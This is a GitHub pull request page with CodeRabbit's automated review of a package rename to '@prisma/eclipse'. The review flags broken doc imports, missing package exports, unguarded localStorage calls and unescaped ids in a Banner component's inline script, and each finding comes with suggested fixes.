Conversation
|
Note Reviews pausedIt looks like this branch is under active development. To avoid overwhelming you with review comments due to an influx of new commits, CodeRabbit has automatically paused this review. You can configure this behavior by changing the Use the following commands to manage reviews:
Use the checkboxes below for quick actions:
WalkthroughRenames the Eclipse package from Changes
Estimated code review effort🎯 4 (Complex) | ⏱️ ~75 minutes 🚥 Pre-merge checks | ✅ 1 | ❌ 2❌ Failed checks (1 warning, 1 inconclusive)
✅ Passed checks (1 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 7
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (3)
apps/eclipse/content/design-system/molecules/dropdownmenu.mdx (1)
32-37:⚠️ Potential issue | 🟡 MinorInconsistent import paths in code examples.
The top-level import on lines 6-21 correctly uses
@prisma/eclipse, but all the code block examples throughout this file still reference@prisma-docs/ui/components/dropdown-menu. This creates confusion for readers who copy these examples—they'll get non-working imports.The code examples should be updated to match the actual import pattern:
-import { - DropdownMenu, - DropdownMenuTrigger, - DropdownMenuContent, - DropdownMenuItem, -} from "@prisma-docs/ui/components/dropdown-menu"; +import { + DropdownMenu, + DropdownMenuTrigger, + DropdownMenuContent, + DropdownMenuItem, +} from "@prisma/eclipse";This same fix applies to all other code block examples in the file (lines 74-81, 136-144, 233-241, 292-301, 337-346, 415-421, 493-500, 549-554).
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/eclipse/content/design-system/molecules/dropdownmenu.mdx` around lines 32 - 37, Update the import statements in every code example so they use the actual package name `@prisma/eclipse` instead of `@prisma-docs/ui/components/dropdown-menu`; specifically replace imports that reference DropdownMenu, DropdownMenuTrigger, DropdownMenuContent, and DropdownMenuItem to import from `@prisma/eclipse` (e.g., import { DropdownMenu, DropdownMenuTrigger, DropdownMenuContent, DropdownMenuItem } from '@prisma/eclipse'), and apply this change consistently to all code blocks in the file that currently reference `@prisma-docs/ui/components/dropdown-menu`.apps/eclipse/content/design-system/atoms/spinner.mdx (1)
111-114:⚠️ Potential issue | 🟡 MinorSyntax error in code example: malformed JSX span element.
Line 113 has an extra empty
<span></span>element that creates invalid JSX:<span></span>Loading...</span> // Malformed - extra closing tagThis will cause a syntax error if users copy this example.
🐛 Proposed fix
export function ButtonWithSpinner() { return ( <Button disabled className="flex items-center gap-0.75"> <Spinner className="mr-2" /> - <span></span>Loading...</span> + <span>Loading...</span> </Button> ); }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/eclipse/content/design-system/atoms/spinner.mdx` around lines 111 - 114, The JSX example in the Spinner demo contains a malformed span: the extra empty <span></span> and mismatched closing tag around the "Loading..." text causes invalid JSX; update the Button example (the Button element that nests the Spinner component and text) to remove the stray empty span and ensure the "Loading..." text is wrapped correctly (either plain text or a single <span>Loading...</span>) so the Spinner usage and className="mr-2" remain unchanged.packages/eclipse/src/index.ts (1)
7-11:⚠️ Potential issue | 🔴 CriticalAdd missing
./lib/cnsubpath export to package.json or document the breaking change.The
cnutility removal from the main entry point is a breaking change. While no internal code importscnfrom the main entry (components use relative imports), external consumers will be unable to migrate using the documented@prisma/eclipse/lib/cnpath—this subpath is not configured in theexportsfield.The package.json currently exports only
.,./components,./components/*,./styles/*,./fonts/*, and./postcss.config. To support the intended import path, either:
- Add
"./lib/cn": { "types": "./dist/lib/cn.d.mts", "import": "./dist/lib/cn.mjs", "default": "./dist/lib/cn.mjs" }to exports, or- Publish a migration guide if this removal is intentional and subpath exports are not wanted.
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@packages/eclipse/src/index.ts` around lines 7 - 11, The package removed the cn utility from the main entry (cn) but did not add a subpath export for "./lib/cn" in package.json, so external consumers importing `@prisma/eclipse/lib/cn` will break; update package.json exports to include a "./lib/cn" entry (pointing to the built artifacts like dist/lib/cn.mjs and dist/lib/cn.d.mts) or document the breaking change in the changelog/release notes; locate references to cn and the exports field in package.json to add the entry (or add migration instructions alongside the change in packages/eclipse/src/index.ts where cn was removed).
🧹 Nitpick comments (4)
apps/blog/content/blog/prisma-migrate-ga-b5eno5g08d0b/index.mdx (1)
18-18: Consider removing unused Button import.The Button component appears to be imported but not used anywhere in this MDX file. While this doesn't cause functional issues, removing it would keep the imports clean.
♻️ Optional cleanup
-import { Button } from "@prisma/eclipse"; import { Accordion, Accordions } from "@prisma/eclipse";🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/blog/content/blog/prisma-migrate-ga-b5eno5g08d0b/index.mdx` at line 18, Remove the unused import of the Button symbol from the MDX file: delete the line importing Button from "@prisma/eclipse" (the import that declares Button) since Button is not referenced anywhere in the document; ensure no other references to Button remain and run a quick lint/format check to confirm no unused-import warnings persist.packages/eclipse/src/components/codeblock.tsx (1)
20-32: Consider extractinguseCopyButtonto a shared internal hook.The same hook logic now exists in multiple components, which raises drift risk when fixes land in only one place.
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@packages/eclipse/src/components/codeblock.tsx` around lines 20 - 32, The hook useCopyButton duplicated across components should be consolidated into a single shared internal hook: extract the function useCopyButton(copy, timeout) (including its internal state variables checked/setChecked, the onClick callback that awaits copy() and uses window.setTimeout to reset checked) into a common internal hooks module (e.g., an internal/hooks or components/shared/hooks file), update all components that currently declare their own copy hook to import and use this shared useCopyButton, and ensure the exported hook signature and behavior (parameters copy and timeout and returned [checked, onClick]) remain identical so consumers (components using onClick and checked) continue to work without changes.packages/eclipse/src/styles/globals.css (1)
730-730: Biome CSS parser configuration lacks explicit Tailwind directive support.The
@applydirective on line 730 (and throughout globals.css) is valid Tailwind syntax, but Biome's CSS parser is only configured withcssModules: true—no explicit Tailwind support. While Biome CSS linting is enabled, it currently has no impact since Biome checks don't run in CI. However, if Biome is ever integrated into CI, this configuration gap could cause false positives. Consider adding Tailwind-specific parser settings or excluding this file from CSS linting.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@packages/eclipse/src/styles/globals.css` at line 730, The Biome CSS parser is only configured with cssModules: true and therefore doesn't recognize Tailwind's `@apply` usages in globals.css (e.g., the rule containing "@apply font-normal cursor-pointer text-foreground-neutral-weak disabled:text-foreground-neutral-weaker p-0"); update the Biome CSS/lint configuration to explicitly enable Tailwind/PostCSS support (or add Tailwind plugin/parser) so `@apply` is accepted, or add an explicit exclusion for globals.css in the Biome linting config to avoid false positives if Biome runs in CI.apps/eclipse/content/design-system/atoms/separator.mdx (1)
289-290: Consider combining these imports for cleaner example code.These two separate imports from the same package could be consolidated into a single import statement. Since this is example code in documentation, it's worth modeling best practices for users.
✨ Proposed fix
-import { Separator } from "@prisma/eclipse"; -import { Button } from "@prisma/eclipse"; +import { Separator, Button } from "@prisma/eclipse";🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/eclipse/content/design-system/atoms/separator.mdx` around lines 289 - 290, Two separate import statements pull Separator and Button from the same package; consolidate them into a single import from "@prisma/eclipse" that includes both named exports (Separator and Button) to make the example code cleaner and model best practices.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In @.github/workflows/eclipse-publish.yml:
- Line 19: The job-level if expression
startsWith(github.event.head_commit.message, 'chore(eclipse): release ') must be
quoted to avoid YAML treating the colon as a mapping delimiter; update the job
`if` value (the startsWith(...) expression) to be a quoted string (e.g.,
surround the entire startsWith(...) expression with double quotes) so the YAML
parser accepts the colon inside the string.
In `@packages/eclipse/package.json`:
- Around line 8-12: The package.json is missing exports for three documented
subpaths and the tailwind config file isn't included in files; add export
entries for "./tailwind.config", "./lib/cn", and "./tokens" under the "exports"
map and ensure "tailwind.config.mjs" is listed in the "files" array so consumers
can import those subpaths (refer to the exports map and the "files" array in
package.json, and the file tailwind.config.mjs).
In `@packages/eclipse/src/components/banner.tsx`:
- Around line 127-131: The close button is absolutely positioned but its
container div (the element using id, ref, className and cn(bannerVariants({
color }), className)) has no positioning context; update that container to be
positioned (e.g., add "relative" to the container's class list produced by
bannerVariants or the cn call) so the close button's absolute placement anchors
to this banner element rather than an unintended ancestor (refer to the div
using id/ref/className and the close button element styled as absolute).
- Around line 120-122: The unguarded localStorage accesses in the Banner
component can throw in restricted contexts; wrap each usage in try/catch and
provide fallbacks: in the React.useEffect that reads
localStorage.getItem(globalKey) (referenced as the effect using globalKey) catch
errors and default to true (show banner) when storage is unavailable; in the
onClick handler that calls localStorage.setItem(), catch and ignore errors so
the UI still updates without persisting; and in the inline script (the code path
that also calls getItem()) wrap that getItem call in try/catch and treat
failures as “not persisted” (show banner). Ensure you only change the three
locations (the useEffect read, the onClick write, and the inline getItem) and
keep behavior identical when storage is available.
- Around line 145-150: The banner component currently injects unescaped
identifiers and accesses localStorage without guards; update the component so
all interpolations of globalKey and id use CSS.escape() (or a polyfill) when
building selectors and script strings (e.g., where the inline <style> and
<script> are generated), move all localStorage reads/writes into a useEffect
handler (replace ad-hoc inline script and any direct onClick write at the
onClick site) and wrap every localStorage access in try-catch to gracefully
handle failures, and add a runtime assertion or validation where the component
receives id/globalKey to ensure only safe/static ids are passed.
In `@packages/eclipse/src/components/codeblock.tsx`:
- Around line 20-32: The useCopyButton hook currently awaits copy() without
error handling, doesn't track/clear timeouts, and leaks timers on unmount;
update useCopyButton to wrap the await copy() call in try/catch (ensure a failed
copy resets state and doesn't throw), store the timeout id in a useRef so you
clear any existing timeout before setting a new one to prevent stacked timers,
and add a useEffect cleanup that clears the ref'd timeout on unmount to avoid
setState-on-unmounted warnings; after fixing both codeblock.tsx and
accordion.tsx, extract this corrected useCopyButton into a shared utility module
and import it from both components to remove duplication.
In `@packages/eclipse/src/components/field.tsx`:
- Around line 146-147: Update Tailwind important modifier usage in the Field
component in packages/eclipse/src/components/field.tsx by changing prefixed `!`
modifiers to the v4 suffix form: replace occurrences like `!m-0` with `m-0!`,
`nth-last-2:!-mt-1` with `nth-last-2:-mt-1!`, `last:!mt-0` with `last:mt-0!`,
and `[[data-variant=legend]+&]:!-mt-1.5` with
`[[data-variant=legend]+&]:-mt-1.5!` (also update the same pattern found later
around the class string near the other occurrence on line 212) so the
component’s className strings conform to Tailwind v4 important-modifier suffix
syntax.
---
Outside diff comments:
In `@apps/eclipse/content/design-system/atoms/spinner.mdx`:
- Around line 111-114: The JSX example in the Spinner demo contains a malformed
span: the extra empty <span></span> and mismatched closing tag around the
"Loading..." text causes invalid JSX; update the Button example (the Button
element that nests the Spinner component and text) to remove the stray empty
span and ensure the "Loading..." text is wrapped correctly (either plain text or
a single <span>Loading...</span>) so the Spinner usage and className="mr-2"
remain unchanged.
In `@apps/eclipse/content/design-system/molecules/dropdownmenu.mdx`:
- Around line 32-37: Update the import statements in every code example so they
use the actual package name `@prisma/eclipse` instead of
`@prisma-docs/ui/components/dropdown-menu`; specifically replace imports that
reference DropdownMenu, DropdownMenuTrigger, DropdownMenuContent, and
DropdownMenuItem to import from `@prisma/eclipse` (e.g., import { DropdownMenu,
DropdownMenuTrigger, DropdownMenuContent, DropdownMenuItem } from
'@prisma/eclipse'), and apply this change consistently to all code blocks in the
file that currently reference `@prisma-docs/ui/components/dropdown-menu`.
In `@packages/eclipse/src/index.ts`:
- Around line 7-11: The package removed the cn utility from the main entry (cn)
but did not add a subpath export for "./lib/cn" in package.json, so external
consumers importing `@prisma/eclipse/lib/cn` will break; update package.json
exports to include a "./lib/cn" entry (pointing to the built artifacts like
dist/lib/cn.mjs and dist/lib/cn.d.mts) or document the breaking change in the
changelog/release notes; locate references to cn and the exports field in
package.json to add the entry (or add migration instructions alongside the
change in packages/eclipse/src/index.ts where cn was removed).
---
Nitpick comments:
In `@apps/blog/content/blog/prisma-migrate-ga-b5eno5g08d0b/index.mdx`:
- Line 18: Remove the unused import of the Button symbol from the MDX file:
delete the line importing Button from "@prisma/eclipse" (the import that
declares Button) since Button is not referenced anywhere in the document; ensure
no other references to Button remain and run a quick lint/format check to
confirm no unused-import warnings persist.
In `@apps/eclipse/content/design-system/atoms/separator.mdx`:
- Around line 289-290: Two separate import statements pull Separator and Button
from the same package; consolidate them into a single import from
"@prisma/eclipse" that includes both named exports (Separator and Button) to
make the example code cleaner and model best practices.
In `@packages/eclipse/src/components/codeblock.tsx`:
- Around line 20-32: The hook useCopyButton duplicated across components should
be consolidated into a single shared internal hook: extract the function
useCopyButton(copy, timeout) (including its internal state variables
checked/setChecked, the onClick callback that awaits copy() and uses
window.setTimeout to reset checked) into a common internal hooks module (e.g.,
an internal/hooks or components/shared/hooks file), update all components that
currently declare their own copy hook to import and use this shared
useCopyButton, and ensure the exported hook signature and behavior (parameters
copy and timeout and returned [checked, onClick]) remain identical so consumers
(components using onClick and checked) continue to work without changes.
In `@packages/eclipse/src/styles/globals.css`:
- Line 730: The Biome CSS parser is only configured with cssModules: true and
therefore doesn't recognize Tailwind's `@apply` usages in globals.css (e.g., the
rule containing "@apply font-normal cursor-pointer text-foreground-neutral-weak
disabled:text-foreground-neutral-weaker p-0"); update the Biome CSS/lint
configuration to explicitly enable Tailwind/PostCSS support (or add Tailwind
plugin/parser) so `@apply` is accepted, or add an explicit exclusion for
globals.css in the Biome linting config to avoid false positives if Biome runs
in CI.
ℹ️ Review info
⚙️ Run configuration
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
Run ID: f237834e-9d60-49a3-bf1f-be8b18a8d6c0
⛔ Files ignored due to path filters (1)
pnpm-lock.yamlis excluded by!**/pnpm-lock.yaml
📒 Files selected for processing (81)
.github/workflows/eclipse-publish.ymlREADME.mdapps/blog/README.mdapps/blog/content/blog/fullstack-remix-prisma-mongodb-1-7d0bftxbmb6r/index.mdxapps/blog/content/blog/orm-v6-11-0-embedded-prisma-studio-rust-free-orm-for-mysql-in-preview-and-more/index.mdxapps/blog/content/blog/prisma-migrate-ga-b5eno5g08d0b/index.mdxapps/blog/content/blog/whats-new-in-prisma-q2-2021-z70muetl386d/index.mdxapps/blog/next.config.mjsapps/blog/package.jsonapps/blog/src/app/global.cssapps/blog/src/components/BlogGrid.tsxapps/blog/src/mdx-components.tsxapps/docs/README.mdapps/docs/next.config.mjsapps/docs/package.jsonapps/docs/src/app/global.cssapps/docs/src/components/dropdown-examples/interactive-examples.tsxapps/docs/src/components/eclipse-showcase.tsxapps/docs/src/components/search.tsxapps/docs/src/components/version-switcher.tsxapps/docs/src/mdx-components.tsxapps/eclipse/README.mdapps/eclipse/content/design-system/atoms/action.mdxapps/eclipse/content/design-system/atoms/avatar.mdxapps/eclipse/content/design-system/atoms/badge.mdxapps/eclipse/content/design-system/atoms/button.mdxapps/eclipse/content/design-system/atoms/checkbox.mdxapps/eclipse/content/design-system/atoms/field.mdxapps/eclipse/content/design-system/atoms/input.mdxapps/eclipse/content/design-system/atoms/label.mdxapps/eclipse/content/design-system/atoms/radio-group.mdxapps/eclipse/content/design-system/atoms/separator.mdxapps/eclipse/content/design-system/atoms/slider.mdxapps/eclipse/content/design-system/atoms/spinner.mdxapps/eclipse/content/design-system/atoms/tooltip.mdxapps/eclipse/content/design-system/index.mdxapps/eclipse/content/design-system/molecules/accordion.mdxapps/eclipse/content/design-system/molecules/banner.mdxapps/eclipse/content/design-system/molecules/breadcrumb.mdxapps/eclipse/content/design-system/molecules/card.mdxapps/eclipse/content/design-system/molecules/chart.mdxapps/eclipse/content/design-system/molecules/codeblock.mdxapps/eclipse/content/design-system/molecules/dialog.mdxapps/eclipse/content/design-system/molecules/dropdownmenu.mdxapps/eclipse/content/design-system/molecules/files.mdxapps/eclipse/content/design-system/molecules/inlinetoc.mdxapps/eclipse/content/design-system/molecules/pagination.mdxapps/eclipse/content/design-system/molecules/statistic.mdxapps/eclipse/content/design-system/molecules/steps.mdxapps/eclipse/content/design-system/molecules/table.mdxapps/eclipse/content/design-system/molecules/tabs.mdxapps/eclipse/content/design-system/molecules/typetable.mdxapps/eclipse/next.config.mjsapps/eclipse/package.jsonapps/eclipse/postcss.config.mjsapps/eclipse/src/app/global.cssapps/eclipse/src/components/chart-examples/README.mdapps/eclipse/src/components/chart-examples/interactive-examples.tsxapps/eclipse/src/components/dropdown-examples/interactive-examples.tsxapps/eclipse/src/components/eclipse-showcase.tsxapps/eclipse/src/components/pagination-examples/interactive-examples.tsxapps/eclipse/src/mdx-components.tsxpackages/eclipse/.gitignorepackages/eclipse/ARCHITECTURE.mdpackages/eclipse/GETTING_STARTED.mdpackages/eclipse/README.mdpackages/eclipse/package.jsonpackages/eclipse/src/components/accordion.tsxpackages/eclipse/src/components/banner.tsxpackages/eclipse/src/components/codeblock.tsxpackages/eclipse/src/components/field.tsxpackages/eclipse/src/components/inline-toc.tsxpackages/eclipse/src/components/type-table.tsxpackages/eclipse/src/components/ui/button.tsxpackages/eclipse/src/index.tspackages/eclipse/src/styles/globals.csspackages/eclipse/tsdown.config.tspackages/ui/package.jsonpackages/ui/src/components/navigation-menu.tsxpackages/ui/src/components/web-navigation.tsxpnpm-workspace.yaml
| "files": [ | ||
| "dist", | ||
| "postcss.config.mjs", | ||
| "README.md" | ||
| ], |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -euo pipefail
# First, let's see what's in the package.json file
echo "=== Current package.json content ==="
cat packages/eclipse/package.jsonRepository: prisma/web
Length of output: 2646
🏁 Script executed:
#!/bin/bash
# Check the GETTING_STARTED.md for documented imports
echo "=== Documented subpath imports in GETTING_STARTED.md ==="
rg -n '@prisma/eclipse/([A-Za-z0-9._/-]+)' packages/eclipse/GETTING_STARTED.md --color neverRepository: prisma/web
Length of output: 324
🏁 Script executed:
#!/bin/bash
# Run the verification script provided in the review
set -euo pipefail
cd packages/eclipse
python - <<'PY'
import json
import pathlib
import re
import sys
pkg = json.loads(pathlib.Path("package.json").read_text())
exports = set(pkg.get("exports", {}).keys())
doc = pathlib.Path("GETTING_STARTED.md").read_text()
subpaths = sorted(set(re.findall(r'@prisma/eclipse/([A-Za-z0-9._/-]+)', doc)))
missing = []
for s in subpaths:
key = f"./{s}"
wildcard_ok = any(k.endswith("/*") and key.startswith(k[:-1]) for k in exports)
if key not in exports and not wildcard_ok:
missing.append(key)
print("Exports keys:", sorted(exports))
print("Documented subpaths:", subpaths)
if missing:
print("Missing exports:", missing)
sys.exit(1)
print("All documented subpaths are exported.")
PYRepository: prisma/web
Length of output: 300
Add missing exports for tailwind.config, lib/cn, and tokens subpaths.
The documentation references three subpath imports at lines 51, 243, and 290 in GETTING_STARTED.md, but they're not declared in exports. Consumers attempting these imports will receive ERR_PACKAGE_PATH_NOT_EXPORTED. Add the three missing export entries (./tailwind.config, ./lib/cn, ./tokens) and include tailwind.config.mjs in the files array:
Suggested changes
"files": [
"dist",
+ "tailwind.config.mjs",
"postcss.config.mjs",
"README.md"
],
"exports": {
".": {
"types": "./dist/index.d.mts",
"import": "./dist/index.mjs",
"default": "./dist/index.mjs"
},
+ "./tailwind.config": "./tailwind.config.mjs",
+ "./tokens": {
+ "types": "./dist/tokens.d.mts",
+ "import": "./dist/tokens.mjs",
+ "default": "./dist/tokens.mjs"
+ },
+ "./lib/cn": {
+ "types": "./dist/lib/cn.d.mts",
+ "import": "./dist/lib/cn.mjs",
+ "default": "./dist/lib/cn.mjs"
+ },
"./components": {
"types": "./dist/components/index.d.mts",
"import": "./dist/components/index.mjs",
"default": "./dist/components/index.mjs"
},📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| "files": [ | |
| "dist", | |
| "postcss.config.mjs", | |
| "README.md" | |
| ], | |
| "files": [ | |
| "dist", | |
| "tailwind.config.mjs", | |
| "postcss.config.mjs", | |
| "README.md" | |
| ], |
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@packages/eclipse/package.json` around lines 8 - 12, The package.json is
missing exports for three documented subpaths and the tailwind config file isn't
included in files; add export entries for "./tailwind.config", "./lib/cn", and
"./tokens" under the "exports" map and ensure "tailwind.config.mjs" is listed in
the "files" array so consumers can import those subpaths (refer to the exports
map and the "files" array in package.json, and the file tailwind.config.mjs).
| React.useEffect(() => { | ||
| if (globalKey) setOpen(localStorage.getItem(globalKey) !== "true"); | ||
| }, [globalKey]); |
There was a problem hiding this comment.
❓ Verification inconclusive
Script executed:
# First, verify the file exists and get its content
wc -l packages/eclipse/src/components/banner.tsxRepository: prisma/web
Repository: prisma/web
Exit code: 0
stdout:
208 packages/eclipse/src/components/banner.tsx
Script executed:
# Read the relevant sections of the banner.tsx file
sed -n '110,200p' packages/eclipse/src/components/banner.tsxRepository: prisma/web
Repository: prisma/web
Exit code: 0
stdout:
id,
changeLayout = true,
height,
...props
},
ref,
) => {
const [open, setOpen] = React.useState(true);
const globalKey = id ? `nd-banner-${id}` : null;
React.useEffect(() => {
if (globalKey) setOpen(localStorage.getItem(globalKey) !== "true");
}, [globalKey]);
if (!open) return null;
return (
<div
id={id}
ref={ref}
className={cn(bannerVariants({ color }), className)}
style={
{
height,
} as React.CSSProperties
}
{...props}
>
{changeLayout && open ? (
<style>
{globalKey
? `:root:not(.${globalKey}) { --fd-banner-height: ${height ?? "3rem"}; }`
: `:root { --fd-banner-height: ${height ?? "3rem"}; }`}
</style>
) : null}
{globalKey ? <style>{`.${globalKey} #${id} { display: none; }`}</style> : null}
{globalKey ? (
<script
dangerouslySetInnerHTML={{
__html: `if (localStorage.getItem('${globalKey}') === 'true') document.documentElement.classList.add('${globalKey}');`,
}}
/>
) : null}
<div className="flex items-center justify-center gap-3">
{showIcon && (
<svg
width="20"
height="20"
viewBox="0 0 20 20"
fill="none"
xmlns="http://www.w3.org/2000/svg"
className="flex-shrink-0"
aria-hidden="true"
>
<circle
cx="10"
cy="10"
r="9"
stroke="currentColor"
strokeWidth="2"
/>
<path
d="M10 6V10M10 14H10.01"
stroke="currentColor"
strokeWidth="2"
strokeLinecap="round"
/>
</svg>
)}
<span>{description}</span>
</div>
{id ? (
<button
type="button"
aria-label="Close Banner"
onClick={() => {
setOpen(false);
if (globalKey) localStorage.setItem(globalKey, "true");
}}
className={cn(
buttonVariants({
variant: "ghost",
className:
"absolute end-2 top-1/2 -translate-y-1/2 text-foreground-neutral-weaker",
size: "icon-sm",
}),
)}
>
<X />
</button>
) : null}
Script executed:
# Search for all localStorage calls in this file to confirm scope
rg -n 'localStorage\.' packages/eclipse/src/components/banner.tsxRepository: prisma/web
Repository: prisma/web
Exit code: 0
stdout:
121: if (globalKey) setOpen(localStorage.getItem(globalKey) !== "true");
149: __html: `if (localStorage.getItem('${globalKey}') === 'true') document.documentElement.classList.add('${globalKey}');`,
187: if (globalKey) localStorage.setItem(globalKey, "true");
Script executed:
# Check if there are any try/catch blocks or environment guards elsewhere in the file
rg -n 'try|catch|typeof.*localStorage|window\.' packages/eclipse/src/components/banner.tsxRepository: prisma/web
Repository: prisma/web
Exit code: 1
Script executed:
# Search for similar patterns across the eclipse package to see if guards are used elsewhere
rg -C2 'try.*localStorage|catch.*localStorage' packages/eclipse/Repository: prisma/web
Repository: prisma/web
Exit code: 1
Guard localStorage access to prevent runtime errors in restricted contexts.
All three localStorage calls in this component (lines 121, 149, and 187) are currently unguarded. In private browsing mode, when storage is denied, or within sandboxed frames, getItem() and setItem() will throw exceptions. Wrap these calls in try/catch blocks with graceful fallbacks:
- Line 121 (useEffect read): Default to
true(show banner) if storage access fails - Line 187 (onClick write): Silently fail if persistence isn't available
- Line 149 (inline script): Also uses
getItem()and should be guarded
🛡️ Suggested hardening
React.useEffect(() => {
if (!globalKey) return;
try {
setOpen(localStorage.getItem(globalKey) !== "true");
} catch {
setOpen(true);
}
}, [globalKey]); onClick={() => {
setOpen(false);
- if (globalKey) localStorage.setItem(globalKey, "true");
+ if (globalKey) {
+ try {
+ localStorage.setItem(globalKey, "true");
+ } catch {
+ // best-effort persistence only
+ }
+ }
}}+ __html: `if (typeof localStorage !== 'undefined' && localStorage.getItem('${globalKey}') === 'true') document.documentElement.classList.add('${globalKey}');`,🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@packages/eclipse/src/components/banner.tsx` around lines 120 - 122, The
unguarded localStorage accesses in the Banner component can throw in restricted
contexts; wrap each usage in try/catch and provide fallbacks: in the
React.useEffect that reads localStorage.getItem(globalKey) (referenced as the
effect using globalKey) catch errors and default to true (show banner) when
storage is unavailable; in the onClick handler that calls
localStorage.setItem(), catch and ignore errors so the UI still updates without
persisting; and in the inline script (the code path that also calls getItem())
wrap that getItem call in try/catch and treat failures as “not persisted” (show
banner). Ensure you only change the three locations (the useEffect read, the
onClick write, and the inline getItem) and keep behavior identical when storage
is available.
| <div | ||
| id={id} | ||
| changeLayout={changeLayout} | ||
| height={height} | ||
| ref={ref} | ||
| className={cn(bannerVariants({ color }), className)} | ||
| style={ |
There was a problem hiding this comment.
Close button positioning is fragile without a positioned container.
Line 193 uses absolute, but the banner container has no relative, so placement can anchor to an unintended ancestor.
🎯 Minimal fix
- className={cn(bannerVariants({ color }), className)}
+ className={cn("relative", bannerVariants({ color }), className)}Also applies to: 181-199
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@packages/eclipse/src/components/banner.tsx` around lines 127 - 131, The close
button is absolutely positioned but its container div (the element using id,
ref, className and cn(bannerVariants({ color }), className)) has no positioning
context; update that container to be positioned (e.g., add "relative" to the
container's class list produced by bannerVariants or the cn call) so the close
button's absolute placement anchors to this banner element rather than an
unintended ancestor (refer to the div using id/ref/className and the close
button element styled as absolute).
| {globalKey ? <style>{`.${globalKey} #${id} { display: none; }`}</style> : null} | ||
| {globalKey ? ( | ||
| <script | ||
| dangerouslySetInnerHTML={{ | ||
| __html: `if (localStorage.getItem('${globalKey}') === 'true') document.documentElement.classList.add('${globalKey}');`, | ||
| }} |
There was a problem hiding this comment.
❓ Verification inconclusive
Script executed:
# First, let's examine the banner.tsx file to understand the full context
wc -l packages/eclipse/src/components/banner.tsxRepository: prisma/web
Repository: prisma/web
Exit code: 0
stdout:
208 packages/eclipse/src/components/banner.tsx
Script executed:
# Check the Banner component implementation around the flagged lines
head -200 packages/eclipse/src/components/banner.tsx | tail -100Repository: prisma/web
Repository: prisma/web
Exit code: 0
stdout:
* ```
*/
export const Banner = React.forwardRef<HTMLDivElement, BannerProps>(
(
{
className,
color,
description,
showIcon = false,
id,
changeLayout = true,
height,
...props
},
ref,
) => {
const [open, setOpen] = React.useState(true);
const globalKey = id ? `nd-banner-${id}` : null;
React.useEffect(() => {
if (globalKey) setOpen(localStorage.getItem(globalKey) !== "true");
}, [globalKey]);
if (!open) return null;
return (
<div
id={id}
ref={ref}
className={cn(bannerVariants({ color }), className)}
style={
{
height,
} as React.CSSProperties
}
{...props}
>
{changeLayout && open ? (
<style>
{globalKey
? `:root:not(.${globalKey}) { --fd-banner-height: ${height ?? "3rem"}; }`
: `:root { --fd-banner-height: ${height ?? "3rem"}; }`}
</style>
) : null}
{globalKey ? <style>{`.${globalKey} #${id} { display: none; }`}</style> : null}
{globalKey ? (
<script
dangerouslySetInnerHTML={{
__html: `if (localStorage.getItem('${globalKey}') === 'true') document.documentElement.classList.add('${globalKey}');`,
}}
/>
) : null}
<div className="flex items-center justify-center gap-3">
{showIcon && (
<svg
width="20"
height="20"
viewBox="0 0 20 20"
fill="none"
xmlns="http://www.w3.org/2000/svg"
className="flex-shrink-0"
aria-hidden="true"
>
<circle
cx="10"
cy="10"
r="9"
stroke="currentColor"
strokeWidth="2"
/>
<path
d="M10 6V10M10 14H10.01"
stroke="currentColor"
strokeWidth="2"
strokeLinecap="round"
/>
</svg>
)}
<span>{description}</span>
</div>
{id ? (
<button
type="button"
aria-label="Close Banner"
onClick={() => {
setOpen(false);
if (globalKey) localStorage.setItem(globalKey, "true");
}}
className={cn(
buttonVariants({
variant: "ghost",
className:
"absolute end-2 top-1/2 -translate-y-1/2 text-foreground-neutral-weaker",
size: "icon-sm",
}),
)}
>
<X />
</button>
) : null}
Script executed:
# Search for all Banner component usages to verify if id is static or dynamic
rg -n 'Banner[^a-zA-Z]' packages/eclipse/src --type=tsx -A 2 -B 1Repository: prisma/web
Repository: prisma/web
Exit code: 2
stderr:
unrecognized file type: tsx
Script executed:
# Verify CSS.escape() API availability and usage in the codebase
rg -n 'CSS\.escape' packages/eclipse/srcRepository: prisma/web
Repository: prisma/web
Exit code: 1
Script executed:
# Search for Banner component usages with correct approach
rg -n -B1 -A2 '<Banner' packages/eclipse/src --max-count=20Repository: prisma/web
Repository: prisma/web
Exit code: 0
stdout:
packages/eclipse/src/components/banner.tsx-85- * ```tsx
packages/eclipse/src/components/banner.tsx:86: * <Banner
packages/eclipse/src/components/banner.tsx-87- * color="ppg"
packages/eclipse/src/components/banner.tsx-88- * description="New feature available!"
--
packages/eclipse/src/components/banner.tsx-94- * ```tsx
packages/eclipse/src/components/banner.tsx:95: * <Banner
packages/eclipse/src/components/banner.tsx-96- * id="maintenance-banner"
packages/eclipse/src/components/banner.tsx-97- * color="error"
Script executed:
# Also check imports of Banner
rg -n "from.*banner" packages/eclipse/src --type=ts --type=tsxRepository: prisma/web
Repository: prisma/web
Exit code: 2
stderr:
unrecognized file type: tsx
CSS.escape() JavaScript API browser support and documentation
Documentation (what it is / how to use)
CSS.escape(value) is a static method on the CSS interface that returns a string escaped for safe use in CSS selectors (e.g., when building a querySelector selector with an element id that may contain special characters). Syntax: CSS.escape(str). Example: document.querySelector(`#${CSS.escape(id)}`). [1]
